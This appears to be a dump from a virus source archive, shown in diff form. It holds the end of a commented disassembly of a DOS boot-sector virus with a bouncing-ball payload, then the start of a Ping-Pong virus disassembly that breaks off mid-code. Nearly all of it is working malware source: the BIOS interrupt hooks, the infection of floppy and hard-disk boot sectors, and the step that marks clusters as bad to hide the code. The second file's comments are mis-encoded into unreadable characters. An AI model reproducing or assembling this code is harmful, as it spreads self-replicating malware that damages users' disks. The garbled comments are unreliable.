INT13_PATCH LABEL WORD
|
||||
JMP DUMMY_ADDRESS ;Continue with original INT 13h handler
|
||||
|
||||
INFECT_A_DISK:
|
||||
MOV AX,0201H ;Read one sector...
|
||||
MOV DH,0
|
||||
MOV CX,0001H ;...the first sector of a disk.
|
||||
CALL DISK_SERVICE
|
||||
|
||||
;At this point, the sector we just read could be a normal boot record,
|
||||
;or the partition table of a hard disk. If it's a boot record from a floppy,
|
||||
;then proceed to infect it. Otherwise, we have to find the DOS partition
|
||||
;of the hard disk and read the boot sector from that partition. We search
|
||||
;the partition for a DOS-12 or DOS-16 entry, then, using the beginning
|
||||
;drive/side/track/sector information, we read the first sector of the
|
||||
;partition. That sector will be the required boot record, which we will
|
||||
;prodeed to process.
|
||||
TEST Byte Ptr DRIVE,80H ;Is the disk a Winchester?
|
||||
JZ @@FLOPPY ;If so, then we got a partition table.
|
||||
MOV SI,OFFSET PARTITION_TABLE
|
||||
MOV CX,4
|
||||
@@LP: ;Check O/S identification byte:
|
||||
CMP Byte Ptr [SI+4],01 ; Is it a DOS-12 partition?
|
||||
JE @@FOUND ; if so, then continue with infection.
|
||||
CMP Byte Ptr [SI+4],04 ; Check for a DOS-16 partition.
|
||||
JE @@FOUND
|
||||
ADD SI,16 ;Not this one, go to next partition
|
||||
LOOP @@LP
|
||||
RET ;No suitable DOS partitions found, so exit.
|
||||
@@FOUND:
|
||||
MOV DX,[SI] ;Get drive number and side
|
||||
MOV CX,[SI+2] ;Get track and sector numbers
|
||||
MOV AX,0201H ;Read one sector...
|
||||
CALL DISK_SERVICE
|
||||
|
||||
@@FLOPPY: ;A DOS boot record is at CS:0400
|
||||
MOV SI,OFFSET _NOP_INST ;Copy BPB to virus' code
|
||||
MOV DI,OFFSET NOP_INST ; space at ES:0000h
|
||||
MOV CX,001CH
|
||||
REP MOVSB
|
||||
CMP Word Ptr _VIRUS_SIG,01357H ;Check virus' signature
|
||||
JNE @@INFECT ;Infect if not the same
|
||||
|
||||
;It is not known what the following code does; it seems to soem sort of
|
||||
;error recovery procedure, in case the first attempt at infection failed.
|
||||
CMP Byte Ptr _CONTINUATION,0
|
||||
JNB @@EXIT
|
||||
MOV AX,_SYSTEM_SECTORS
|
||||
MOV SYSTEM_SECTORS,AX
|
||||
MOV SI,_PART2_SECTOR
|
||||
JMP CONT_POINT
|
||||
@@EXIT:
|
||||
RET ;Exit now; cannot infect this disk
|
||||
|
||||
@@INFECT:
|
||||
CMP Word Ptr _BYTES_PER_SEC,512 ;512 byte sectors only!
|
||||
JNZ @@EXIT
|
||||
CMP Byte Ptr _SEC_PER_CLU,2 ;At lease 2 sectors per cluster
|
||||
JB @@EXIT
|
||||
|
||||
;The virus now computes the number of system use sectors and number of data
|
||||
;sectors. System use sectors include the Boot Record, FAT copies, root
|
||||
;directory, and any otherwise reserved sectors. What's left is the number
|
||||
;of data sectors.
|
||||
MOV CX,_RES_SECTORS ;Get # of reserved sectors
|
||||
MOV AL,_FAT_COPIES ;Get # of FAT copies
|
||||
CBW ;Convert to word in AX
|
||||
MUL Word Ptr _SEC_PER_FAT ;Multiply by sectors/FAT
|
||||
ADD CX,AX ;Add result to # reserved sec.
|
||||
|
||||
MOV AX,32 ;Each dir entry is 32 bytes
|
||||
MUL Word Ptr _DIR_ENTRIES ;Get size of root dir in bytes
|
||||
ADD AX,511 ;Round up when dividing...
|
||||
MOV BX,512 ;Divide by 512 to get # sectors
|
||||
DIV BX ; the root directory takes.
|
||||
ADD CX,AX ;Add to # reserved sectors
|
||||
MOV SYSTEM_SECTORS,CX ;(Overflow & remainder ignored)
|
||||
|
||||
;The virus now calculates the number of data sectors and clusters.
|
||||
;If there are more than 4080 clusters, then assume we're using a 16 bit FAT.
|
||||
MOV AX,TOTAL_SECTORS ;Get total # of sectors on disk
|
||||
SUB AX,SYSTEM_SECTORS ;Subtract # of system sectors
|
||||
MOV BL,SEC_PER_CLU ;Get # of sectors in a cluster
|
||||
XOR DX,DX ;Clear high order word...
|
||||
XOR BH,BH ; and byte for division
|
||||
DIV BX ;Divide, to get # of clusters
|
||||
INC AX ;Round up by one
|
||||
MOV DI,AX ;Save for "find free" routine
|
||||
AND Byte Ptr FLAGS,11111011B ;Clear "16 bit FAT" flag.
|
||||
CMP AX,0FF0H ;Is # of clusters too high?
|
||||
JBE @@1
|
||||
OR Byte Ptr FLAGS,00000100B ;If so, set flag for 16 bit FAT
|
||||
@@1:
|
||||
JMP SHORT VIRUS_PART2_CONT ;JUMP to part II
|
||||
|
||||
ORG 01F3H
|
||||
CUR_FAT_SECTOR DW ? ;Current FAT sector number; used during infection
|
||||
SYSTEM_SECTORS DW ? ;Total number of reserved, FAT, and root DIR sectors
|
||||
FLAGS DB ? ;Bit mapped flags
|
||||
DRIVE DB ? ;Current drive number
|
||||
PART2_SECTOR DW ? ;DOS sector number of 2nd part of virus
|
||||
CONTUATION DB ? ;??? Continuation flag???
|
||||
ORG 01FCH
|
||||
VIRUS_SIG DW 01357H ;Virus' signature
|
||||
BIOS_SIG DW 0AA55H ;Required signature of all boot sectors
|
||||
|
||||
|
||||
;*************** Second sector of virus code starts here! ******************;
|
||||
|
||||
ORG 0200H
|
||||
VIRUS_PART2_CONT:
|
||||
|
||||
;Now the search for a free cluster begins.
|
||||
MOV SI,1 ;Counter of now many FAT sectors searched
|
||||
MOV BX,RES_SECTORS ;Start with 1st FAT sector
|
||||
DEC BX ;Sub 1, because we add 1 later
|
||||
MOV CUR_FAT_SECTOR,BX
|
||||
MOV Byte Ptr FAT_OFS_ADJ,-2 ;Set "cluster overhead"
|
||||
|
||||
;Note: DI has maximum cluster number, and SI has current cluster number.
|
||||
@@NEXT_SECTOR:
|
||||
INC Word Ptr CUR_FAT_SECTOR ;Add one to FAT sector #
|
||||
MOV BX,CUR_FAT_SECTOR
|
||||
ADD Byte Ptr FAT_OFS_ADJ,2
|
||||
CALL READ_SECTOR ;Read the FAT sector
|
||||
JMP SHORT @@CHECK ;Check for end of search
|
||||
@@FIND_FREE:
|
||||
;To get an entry for a specific cluster in a FAT table, multiply by 1.5 if
|
||||
;it's a 12 bit FAT; otherwise multiply by 2. The virus uses the following:
|
||||
;multiply the cluster number by 3 if it's a 12 bit FAT, otherwise by 4. Then
|
||||
;divide by 2.
|
||||
MOV AX,3
|
||||
TEST Byte Ptr FLAGS,00000100B ;Check for 16 bit FAT
|
||||
JZ @@0
|
||||
INC AX ;Use 4 if FAT-16
|
||||
@@0:
|
||||
MUL SI ;Multiply by cluster number
|
||||
SHR AX,1 ;Divide by 2
|
||||
|
||||
;The cluster adjustment value is needed to keep offsets within 512 bytes.
|
||||
;Since each sector is 0200h bytes, we'll subtract 0200h bytes every time
|
||||
;we calculate another FAT offset for each subsequent FAT sector.
|
||||
SUB AH,FAT_OFS_ADJ ;Subtract cluster adjustment
|
||||
MOV BX,AX
|
||||
CMP BX,01FFH ;Is offset too high?
|
||||
JNB @@NEXT_SECTOR ;If so, go to next sector
|
||||
MOV DX,Word Ptr [BX+SECTOR_BUFFER] ;Get entry
|
||||
|
||||
;Once we have the cluster entry, we have to adjust it for a FAT-12 if
|
||||
;necessary. On a FAT-16, we can use the vlaue directly.
|
||||
;If it is a 12 bit FAT:
|
||||
; Clear upper nibble if cluster number is even.
|
||||
; Otherwise, throw out lower nibble and shift down by 4 bits.
|
||||
TEST Byte Ptr FLAGS,00000100B ;12 bit FAT check
|
||||
JNZ @@2
|
||||
MOV CL,04 ;Prepare for shift
|
||||
TEST SI,1 ;Cluster number odd/even check.
|
||||
JZ @@1
|
||||
SHR DX,CL ;Shift down by 1 nibble if odd.
|
||||
@@1:
|
||||
AND DH,0FH ;Clear highest nibble.
|
||||
|
||||
@@2:
|
||||
;A free cluster has an entry of 0. Using the OR instruction, we check for
|
||||
;an entry of 0.
|
||||
OR DX,DX
|
||||
JZ FREE_FOUND
|
||||
@@CHECK: ;See if the maximun cluster number has been
|
||||
INC SI ; reached. If so, then no free cluster has
|
||||
CMP SI,DI ; been found, so we can't infect the disk
|
||||
JBE @@FIND_FREE
|
||||
RET
|
||||
|
||||
FREE_FOUND:
|
||||
;Now that we found a free cluster, we'll set that cluster to "bad" status.
|
||||
;As before, we test for a 12 bit FAT and adjust the bad cluster flag
|
||||
;accordingly.
|
||||
MOV DX,0FFF7H ;Bad cluster flag.
|
||||
TEST Byte Ptr FLAGS,00000100B ;12 bit FAT check.
|
||||
JNZ @@0
|
||||
AND DH,0FH ;Clear upper nibble
|
||||
MOV CL,04
|
||||
TEST SI,1 ;Cluster number odd/even check.
|
||||
JZ @@0
|
||||
SHL DX,CL ;Shift by 4 bits if odd.
|
||||
@@0:
|
||||
OR Word Ptr [BX+SECTOR_BUFFER],DX ;Insert new value.
|
||||
MOV BX,CUR_FAT_SECTOR ;Get FAT sector #
|
||||
CALL WRITE_SECTOR ;Write modified FAT to disk
|
||||
MOV AX,SI ;Get free cluster number to AX
|
||||
SUB AX,2 ;Subtract cluster number basis
|
||||
MOV BL,SEC_PER_CLU ;Get # of sectors/cluster
|
||||
XOR BH,BH
|
||||
MUL BX ;Multiply to get sector number
|
||||
ADD AX,SYSTEM_SECTORS ;Add # system use sectors to
|
||||
MOV SI,AX ; get DOS sector # on disk
|
||||
XOR BX,BX ;Read the boot record from sector 0
|
||||
CALL READ_SECTOR
|
||||
MOV BX,SI ;Write it out to disk, in the second
|
||||
INC BX ; sector of our "bad" cluster
|
||||
CALL WRITE_SECTOR
|
||||
CONT_POINT:
|
||||
MOV BX,SI ;SI has first sector of free cluster
|
||||
MOV PART2_SECTOR,SI ;Save it
|
||||
PUSH CS
|
||||
POP AX
|
||||
SUB AX,20H ;Adjust segment value so ES:0400 will
|
||||
MOV ES,AX ; be the same as CS:0200h
|
||||
CALL WRITE_SECTOR ;Write part 2 of virus to disk
|
||||
PUSH CS
|
||||
POP AX
|
||||
SUB AX,40H ;Now adjust ES so an offset of 0400h
|
||||
MOV ES,AX ; will point to CS:0000h
|
||||
XOR BX,BX ;Write the first part of the virus
|
||||
CALL WRITE_SECTOR ; into the boot sector
|
||||
RET ;DISK IS NOW INFECTED!!!!
|
||||
|
||||
ORG 02B0H
|
||||
TICK_COUNT DW ?
|
||||
FAT_OFS_ADJ DB ?
|
||||
|
||||
INST_BALL: ;Install bouncing ball routine
|
||||
TEST Byte Ptr FLAGS,00000010B ;Installed already?
|
||||
JNZ @@EXIT
|
||||
OR Byte Ptr FLAGS,00000010B ;Set "installed" flag
|
||||
XOR AX,AX
|
||||
MOV DS,AX
|
||||
ASSUME DS:LOW_MEM_DATA
|
||||
MOV AX,INT8_OFS ;Get vector for INT 8h
|
||||
MOV BX,INT8_SEG
|
||||
MOV INT8_OFS,OFFSET NEW_INT8 ;Set vector to point at
|
||||
MOV INT8_SEG,CS ; our routine.
|
||||
PUSH CS
|
||||
POP DS
|
||||
ASSUME DS:VIRUS
|
||||
MOV INT8_PATCH+1,AX ;Direcly patch original vector
|
||||
MOV INT8_PATCH+3,BX ; contents into our code.
|
||||
@@EXIT:
|
||||
RET
|
||||
|
||||
NEW_INT8 LABEL FAR ;New INT 8 handler
|
||||
PUSH DS
|
||||
PUSH AX
|
||||
PUSH BX ;Save affected registers
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV AH,0FH ;Get video mode, page, and # of columns
|
||||
INT 10H
|
||||
MOV BL,AL ;Move mode number into BL
|
||||
;If the video mode and page are the same as last time, then continue bouncing
|
||||
;the ball. Otherwise, reset the ball position and increment, and start anew.
|
||||
;Note: The active page number is in BH throughout this routine.
|
||||
CMP BX,VIDEO_PARAMS ;Is mode and page same as last time?
|
||||
JE @@SAME_MODE
|
||||
MOV VIDEO_PARAMS,BX ;Save for futore reference (!!)
|
||||
DEC AH ;Subtract 1 from number of columns
|
||||
MOV SCRN_COLS,AH ; onscreen and save it.
|
||||
MOV AH,1 ;Assume graphics mode.
|
||||
CMP BL,7 ;Mono text mode?
|
||||
JNE @@0
|
||||
DEC AH ;Set flag to 0 if so.
|
||||
@@0:
|
||||
CMP BL,4 ;Is mode number below 4? (ie. 0-3)
|
||||
JNB @@1
|
||||
DEC AH
|
||||
@@1:
|
||||
MOV GRAF_MODE,AH ;Save flag value.
|
||||
MOV Word Ptr BALL_POS,0101H ;Set XY position to 1,1
|
||||
MOV Word Ptr BALL_INC,0101H ;Set XY increment to 1,1
|
||||
MOV AH,03H
|
||||
INT 10H ;Read cursor position into DX
|
||||
PUSH DX ; and save it on the stack.
|
||||
MOV DX,BALL_POS ;Get XY position of ball.
|
||||
JMP SHORT UPDATE_BALL_POS ;Change increment if needed.
|
||||
|
||||
@@SAME_MODE: ;Enter here if mode not changed.
|
||||
MOV AH,03H
|
||||
INT 10H ;Get cursor position into DX
|
||||
PUSH DX ; and save it.
|
||||
MOV AH,02
|
||||
MOV DX,BALL_POS
|
||||
INT 10H ;Move to bouncing ball location.
|
||||
MOV AX,ORG_CHAR ;Get original screen char & attribute.
|
||||
CMP Byte Ptr GRAF_MODE,1 ;Check for graphics mode/
|
||||
JNE @@3
|
||||
MOV AX,8307H ;If graphics mode, use CHR$(7)
|
||||
@@3: ;If not, then use original char
|
||||
MOV BL,AH ;Move color value into BL
|
||||
MOV CX,1 ;Write one character
|
||||
MOV AH,09H ; with attributes and all
|
||||
INT 10H ; into page in BH.
|
||||
|
||||
;The update routine will check for the ball's position on a screen border.
|
||||
;If it's on a border, then negate the increment for that direction.
|
||||
;(ie, if the ball was moving up, reverse it.) If the increment was not
|
||||
;changed, then "randomly" change the X or Y increment based on the lower
|
||||
;three bits of the previous screen character. This will make the ball
|
||||
;appear to bounce around "randomly" on a screen filled with characters.
|
||||
UPDATE_BALL_POS: ;Figure new ball position.
|
||||
MOV CX,BALL_INC ;Get ball position increment.
|
||||
CMP DH,0 ;Is is on the top row of the screen?
|
||||
JNZ @@0
|
||||
NEG CH
|
||||
@@0:
|
||||
CMP DH,24 ;Reached bottom edge?
|
||||
JNZ @@1
|
||||
NEG CH
|
||||
@@1:
|
||||
CMP DL,0 ;Reached left edge?
|
||||
JNZ @@2
|
||||
NEG CL
|
||||
@@2:
|
||||
CMP DL,SCRN_COLS ;Reached right edge?
|
||||
JNZ @@3
|
||||
NEG CL ;Should be familar by now!
|
||||
@@3:
|
||||
CMP CX,BALL_INC ;Is the increment the same as before?
|
||||
JNE CALC_NEW_POS ;If not, apply the modified increment.
|
||||
MOV AX,ORG_CHAR ;Do "ramdom" updating, as described
|
||||
AND AL,00000111B ; in the note above.
|
||||
CMP AL,00000011B
|
||||
JNE @@4
|
||||
NEG CH ;Reverse Y direction.
|
||||
@@4:
|
||||
CMP AL,00000101B
|
||||
JNE CALC_NEW_POS
|
||||
NEG CL ;Reverse X direction.
|
||||
|
||||
CALC_NEW_POS:
|
||||
ADD DL,CL ;Add increments to ball position.
|
||||
ADD DH,CH
|
||||
MOV BALL_INC,CX ;Save ball position increment and
|
||||
MOV BALL_POS,DX ; new ball position.
|
||||
MOV AH,02H ;Move to ball position, which is
|
||||
INT 10H ; in register DX.
|
||||
MOV AH,08H ;Read the present screen char and
|
||||
INT 10H ; attribute.
|
||||
MOV ORG_CHAR,AX ;Save them for next time.
|
||||
MOV BL,AH ;Use same attribute, if in text mode
|
||||
CMP Byte Ptr GRAF_MODE,1
|
||||
JNE @@0
|
||||
MOV BL,83H ;Otherwise, use color # 83H
|
||||
@@0:
|
||||
MOV CX,0001H ;Write one character and attribute
|
||||
MOV AX,0907H ; using CHR$(7) as the character.
|
||||
INT 10H
|
||||
POP DX ;Get old cursor position.
|
||||
MOV AH,02H ;Move cursor back to that position.
|
||||
INT 10H
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX ;Restore affected registers.
|
||||
POP AX
|
||||
POP DS
|
||||
INT8_PATCH LABEL WORD
|
||||
JMP DUMMY_ADDRESS ;Continue with original INT 8h handler.
|
||||
|
||||
ORG_CHAR DW ? ;Original screen character and attribute.
|
||||
BALL_POS DW ? ;Bouncing ball's XY position.
|
||||
BALL_INC DW ? ;Ball's XY increment
|
||||
GRAF_MODE DB ? ;1 = graphics mode, otherwise it's a text mode.
|
||||
VIDEO_PARAMS DW ? ;Mode number and page number.
|
||||
SCRN_COLS DB ? ;Number of screen columns minus 1
|
||||
|
||||
VIRUS_LENGTH EQU $-START_HERE
|
||||
DB 1024-VIRUS_LENGTH DUP (0) ;Pad out to 1024 bytes.
|
||||
|
||||
;******************** End of virus code! **************************************
|
||||
|
||||
ORG 0400H ;Work area for the virus
|
||||
SECTOR_BUFFER LABEL NEAR ;This is a sector buffer!!
|
||||
_JMP_INST DW ?
|
||||
_NOP_INST DB ?
|
||||
|
||||
_OEM_ID DB 8 DUP(?)
|
||||
_BYTES_PER_SEC DW ?
|
||||
_SEC_PER_CLU DB ?
|
||||
_RES_SECTORS DW ?
|
||||
_FAT_COPIES DB ?
|
||||
_DIR_ENTRIES DW ? ;This is the BPB of the target
|
||||
_TOTAL_SECTORS DW ? ; disk during infection.
|
||||
_MEDIA_DESCRIP DB ?
|
||||
_SEC_PER_FAT DW ?
|
||||
_SEC_PER_TRK DW ?
|
||||
_SIDES_ON_DISK DW ?
|
||||
_HIDDEN_SECTORS DW ?
|
||||
|
||||
ORG 05BEH
|
||||
PARTITION_TABLE LABEL NEAR
|
||||
|
||||
ORG 05F3H
|
||||
_CUR_FAT_SECTOR DW ?
|
||||
_SYSTEM_SECTORS DW ?
|
||||
_FLAGS DB ?
|
||||
_DRIVE DB ?
|
||||
_PART2_SECTOR DW ?
|
||||
_CONTINUATION DB ?
|
||||
ORG 05FCH
|
||||
_VIRUS_SIG DW ?
|
||||
_BIOS_SIG DW ? ;Should always be 0AA55h
|
||||
VIRUS ENDS
|
||||
END
|
||||
|
||||
;Original virus disassembly by James L. July 1991
|
||||
;Clean version written by James L. July 1991
|
||||
;# EOF #;
|
606
MSDOS/Virus.MSDOS.Unknown.pingpong.asm
Normal file
606
MSDOS/Virus.MSDOS.Unknown.pingpong.asm
Normal file
@ -0,0 +1,606 @@
|
||||
; Advanced Fullscreen Disassembler v2.11
|
||||
; Copyright (C) by Rumen Gerasimov (GERISOFT), 1987, 1988
|
||||
;
|
||||
; First listing: without DATA segment
|
||||
;
|
||||
; Segment value: 0000, length: 0200
|
||||
;
|
||||
|
||||
BIOS_SEG SEGMENT at 0h
|
||||
org 0020h
|
||||
D0020 dw 0
|
||||
D0022 dw 0
|
||||
INTERR8 label far
|
||||
org 004Ch
|
||||
D004C dw 0
|
||||
D004E dw 0
|
||||
org 0413h
|
||||
D0413 dw 0
|
||||
BIOS_SEG ends
|
||||
|
||||
|
||||
BOOT_SEG SEGMENT at 7Ch
|
||||
org 0
|
||||
BOOT_PROCESS label far
|
||||
BOOT_SEG ends
|
||||
|
||||
|
||||
DISK_ROM SEGMENT at 0C800h
|
||||
org 256h
|
||||
C800_SEG label far
|
||||
DISK_ROM ends
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
SEG0000 segment public para 'CODE'
|
||||
assume CS:SEG0000, ds:SEG0000
|
||||
|
||||
;***********************************************************;
|
||||
; <20>š<EFBFBD>‚ˆ ‘…Š’Ž<E28099> - <20>€—€‹Ž <20>€ ‚ˆ<E2809A>“‘€ ;
|
||||
; <20>€Œˆ<C592>€ ‘… <20>€ boot sector <20>€ „ˆ‘Š€ ;
|
||||
;***********************************************************;
|
||||
; ’³ª ¤°¥±º² ¥ 0000:7C00 ¨«¨ 07C0:0000
|
||||
;
|
||||
ORG 7C00h
|
||||
|
||||
JMP short L7C1E
|
||||
|
||||
D7C02 db 90h
|
||||
db 'IBM 3.1'
|
||||
DB 0
|
||||
DB 2
|
||||
D7C0D DB 2
|
||||
D7C0E DW 1
|
||||
DB 2
|
||||
DB 70h
|
||||
DB 0
|
||||
D7C13 DW 2D0h
|
||||
DB 0FDh
|
||||
DB 2
|
||||
DB 0
|
||||
D7C18 DW 9 ;Sector per track - SecPTrk
|
||||
D7C1A DW 2 ;Side per track - SidPTrk
|
||||
D7C1C DW 0
|
||||
|
||||
L7C1E: XOR AX,AX
|
||||
MOV SS,AX
|
||||
MOV SP,7C00h
|
||||
MOV DS,AX
|
||||
|
||||
assume ds:BIOS_SEG
|
||||
MOV AX,Word Ptr D0413 ;<3B> ¬ «¿¢ BIOS MEMSIZE ± 2
|
||||
SUB AX,0002h
|
||||
MOV Word Ptr D0413,AX
|
||||
assume ds:SEG0000
|
||||
|
||||
MOV CL,06h
|
||||
SHL AX,CL
|
||||
SUB AX,07C0h
|
||||
MOV ES,AX ;ES: ±¥£¬¥² § ¥²¨²¥ 2Š ¯ ¬¥²
|
||||
MOV SI,7C00h
|
||||
MOV DI,SI
|
||||
MOV CX,0100h
|
||||
REPZ MOVSW ;¬¥±²¨ ±¥ ² ¬: ¶¥«¨¿² ±¥ª²®°
|
||||
|
||||
db 08Eh,0C8h ;MOV CS,AX ;¯°¥¤ ¢ ³¯° ¢«¥¨¥²® ®¢®²® ¬¿±²®
|
||||
;CS:7C00 - ¤°¥± · «®²® ª®¤
|
||||
PUSH CS
|
||||
POP DS
|
||||
CALL L7C4A
|
||||
|
||||
L7C4A: XOR AH,AH ;RESET INT 13
|
||||
INT 13h
|
||||
AND Byte Ptr D7DF8,80h ;“±²°®©±²¢®²® ¥ ¯º°¢¨ ¤¨±ª (A: - floppy
|
||||
; C: - hard
|
||||
|
||||
|
||||
MOV BX,Word Ptr D7DF9 ;—¥²¥ ¯º°¢¨¿² ±¥ª²®°, ªº¤¥²® ¥ ¯°®¤º«-
|
||||
PUSH CS ;¦¥¨¥²®
|
||||
POP AX
|
||||
SUB AX,0020h
|
||||
MOV ES,AX ;adres = (CS - 20h):8000h
|
||||
CALL L7C9D
|
||||
|
||||
MOV BX,Word Ptr D7DF9 ;—¥²¥ ¢²®°¨¿² ±¥ª²®° ®² ¯°®¤º«¦¥¨¥²®
|
||||
INC BX ; (®°¬ «¨¿² BOOT)
|
||||
MOV AX,0FFC0h ;adres = 0000:7C00
|
||||
MOV ES,AX
|
||||
CALL L7C9D
|
||||
|
||||
XOR AX,AX
|
||||
MOV Byte Ptr D7DF7,AL ;—¨±²¨ ±² ²³±-¡ ©² (§ ¯®±«¥)
|
||||
MOV DS,AX
|
||||
|
||||
assume ds:BIOS_SEG
|
||||
MOV AX,Word Ptr D004C ;‡ ª ·¢ ±¥ § INT 13!
|
||||
MOV BX,Word Ptr D004E
|
||||
MOV Word Ptr D004C,offset NewINT13
|
||||
MOV Word Ptr D004E,CS
|
||||
PUSH CS
|
||||
POP DS
|
||||
assume ds:SEG0000
|
||||
MOV Word Ptr D7D2A,AX ;‡ ¯ §¢ ±² °¨¿² ¤°¥± INT 13
|
||||
MOV Word Ptr D7D2C,BX
|
||||
|
||||
MOV DL,Byte Ptr D7DF8 ;‚§¥¬ ³±²°®©±²¢®²® § BOOT ¨ ±² °²¨°
|
||||
jmp BOOT_PROCESS ;®°¬ «¨¿² BOOT process
|
||||
|
||||
|
||||
|
||||
;================================================================;
|
||||
; <20><>Žƒ<C5BD>€Œ€ ‡€ —…’…<E28099>… (L7C9D) ˆ ‡€<E280A1>ˆ‘ (L7C98) ;
|
||||
; <20>€ ‹Žƒˆ—…‘Šˆ ‘…Š’Ž<E28099> Ž’ „ˆ‘Š ;
|
||||
;----------------------------------------------------------------;
|
||||
; BX - ±¥ª²®° ®²®±® · «®²®, ª®©²® ²°¿¡¢ ¤ ±¥ ¯°®·¥²¥ ;
|
||||
; ES:8000 - ¤°¥±, ªº¤¥²® ¤ ±¥ ¯°®·¥²¥ ±¥ª²®°º² ;
|
||||
; ;
|
||||
; D7DF8 - ³±²°®©±²¢®, ®² ª®¥²® ·¥²¥ ;
|
||||
; ;
|
||||
;================================================================;
|
||||
L7C98: MOV AX,0301h
|
||||
JMP short L7CA0
|
||||
|
||||
L7C9D: MOV AX,0201h
|
||||
L7CA0: XCHG BX,AX
|
||||
ADD AX,Word Ptr D7C1C
|
||||
XOR DX,DX
|
||||
|
||||
DIV Word Ptr D7C18 ;¯°¥¢°º¹ «®£¨·¥±ª¨¿² ±¥ª²®° ¢ AX
|
||||
INC DL ; (0-7..) ¢º¢ Track, Side, Sector
|
||||
MOV CH,DL ;¢ °¥£¨±²°¨²¥ CX, DX (§ INT 13)
|
||||
XOR DX,DX
|
||||
DIV Word Ptr D7C1A
|
||||
MOV CL,06h
|
||||
SHL AH,CL
|
||||
OR AH,CH
|
||||
MOV CX,AX
|
||||
XCHG CH,CL
|
||||
MOV DH,DL
|
||||
|
||||
MOV AX,BX
|
||||
L7CC3: MOV DL,Byte Ptr D7DF8 ;¢§¥¬ ®¬¥° ¤¨±ª § ·¥²¥¥ (A:)
|
||||
MOV BX,8000h
|
||||
INT 13h
|
||||
JNC L7CCF
|
||||
POP AX ;±ª ¯¢ ±²¥ª ¨ § £¨¢ , ª® ¨¬ I/O err
|
||||
L7CCF: RET
|
||||
|
||||
|
||||
|
||||
;========================================================================;
|
||||
; ’€‡ˆ <20><>Žƒ<C5BD>€Œ€ ‘… ‚<>š‡‚€ <20>€ ŒŸ‘’Ž’Ž <20>€ ˆ‘’ˆ<E28099>‘ŠˆŸ’ INT 13 ;
|
||||
;========================================================================;
|
||||
NewINT13:
|
||||
PUSH DS ;‡ ¯ §¢ °¥£¨±²°¨²¥
|
||||
PUSH ES
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
|
||||
PUSH CS ;Ž¯° ¢¿ ±¢®¿ DS ¨ ES
|
||||
POP DS
|
||||
PUSH CS
|
||||
POP ES
|
||||
|
||||
TEST Byte Ptr D7DF7,01h ;€ª® ¥ 1 - ¢º§¯°®¨§¢¥¦¤ ¥ ¢¨°³± ,
|
||||
JNE L7D23 ; ®²¨¢ ¤ ¯¨¸¥ ±º± ±² ¤ °². INT 13
|
||||
|
||||
CMP AH,02h ;—¥²¥¥ ±¥ª²®°?
|
||||
JNE L7D23 ;<3B>¥, ¯°®¤º«¦ ¢ ±º± ±² ¤ °²¨¿² INT 13
|
||||
|
||||
CMP Byte Ptr D7DF8,DL ;“±²°®©±²¢®²® ±º¢¯ ¤ ± ¯®±«¥¤®²®
|
||||
MOV Byte Ptr D7DF8,DL ; ± ª®¥²® ¥ ° ¡®²¥®
|
||||
JNE L7D12 ;<3B>¥
|
||||
|
||||
XOR AH,AH ;‚§¥¬ ¢°¥¬¥²®
|
||||
INT 1Ah
|
||||
TEST DH,7Fh ;¡¨² 8000 low order part = 1?
|
||||
JNE L7D03 ;¤ , ¯°¥±ª ·
|
||||
TEST DL,0F0h ;¡¨²®¢¥ 00F0 low order part = 1?
|
||||
JNE L7D03 ;¤ , ¯°¥±ª ·
|
||||
;<3B>°®¿¢ : ª®£ ²® TIMER .and. 80F0h == 0
|
||||
;<3B>°¨¡«¨§¨²¥«® 1800 ±¥ª. = 30 ¬¨.
|
||||
|
||||
PUSH DX
|
||||
call L7EB3 ;<3B>°®¿¢ ¢¨°³± - ±ª · ¯® ¥ª°
|
||||
POP DX
|
||||
|
||||
L7D03: MOV CX,DX ;Ž¯°¥¤¥«¿ ²°¿¡¢ «¨ ¤ § ° §¿¢
|
||||
SUB DX,Word Ptr D7EB0 ; (¯®¤µ®¤¿¹ ¬®¬¥² ¢°¥¬¥)
|
||||
MOV Word Ptr D7EB0,CX
|
||||
SUB DX,+24h
|
||||
JC L7D23
|
||||
|
||||
L7D12: OR Byte Ptr D7DF7,01h ;‘² °²¨° ¢º§¯°®¨§¢¥¦¤ ¥/§ ° §¿¢ ¥
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
CALL L7D2E
|
||||
POP DI
|
||||
POP SI
|
||||
AND Byte Ptr D7DF7,0FEh
|
||||
|
||||
L7D23: POP DX ;‚º§±² ®¢¿¢ ¯®²°¥¡¨²¥«±ª¨²¥ °¥£¨±²°¨
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POP ES
|
||||
POP DS
|
||||
D7D2A = $+1
|
||||
D7D2C = $+3
|
||||
jmp c800_SEG ;‘² °²¨° ¨±²¨±ª¨¿² INT 13
|
||||
|
||||
|
||||
|
||||
;================================================================;
|
||||
; ‚š‡<C5A1><E280A1>Žˆ‡‚…†„€<E2809E>… <20>€ ‚ˆ<E2809A>“‘€ ˆ ‡€<E280A1>€‡Ÿ‚€<E2809A>… <20>€ <20><>Žƒ<C5BD>€Œ€ ;
|
||||
;================================================================;
|
||||
L7D2E: MOV AX,0201h ;—¥²¥ BOOT sector ®² ¤¨±ª
|
||||
MOV DH,00h ; BX = ?????????????????????? ªº¤¥, ¡¥!
|
||||
MOV CX,0001h
|
||||
CALL L7CC3
|
||||
|
||||
TEST Byte Ptr D7DF8,80h ;HARD DISK?
|
||||
JE L7D63 ;¥
|
||||
|
||||
;---- HARD DISK ----;
|
||||
MOV SI,81BEh ;’º°±¨ DOS partition
|
||||
MOV CX,0004h
|
||||
L7D46: CMP Byte Ptr [SI+04h],01h
|
||||
JE L7D58
|
||||
CMP Byte Ptr [SI+04h],04h
|
||||
JE L7D58
|
||||
ADD SI,+10h
|
||||
LOOP L7D46
|
||||
RET ;¿¬ DOS partition, ¥ § ° §¿¢
|
||||
|
||||
;---- <20> ¬¥°¥ ¥ DOS partition ----;
|
||||
L7D58: MOV DX,Word Ptr [SI]
|
||||
MOV CX,Word Ptr [SI+02h]
|
||||
MOV AX,0201h
|
||||
CALL L7CC3 ;—¥²¥ BOOT sector ®² DOS partition
|
||||
|
||||
;---- ’³ª ¨¤¢ ª® ¥ ¤¨±ª¥² , ¯°®·¥²¥ ¥ BOOT sector ----;
|
||||
L7D63: MOV SI,8002h
|
||||
MOV DI,offset D7C02
|
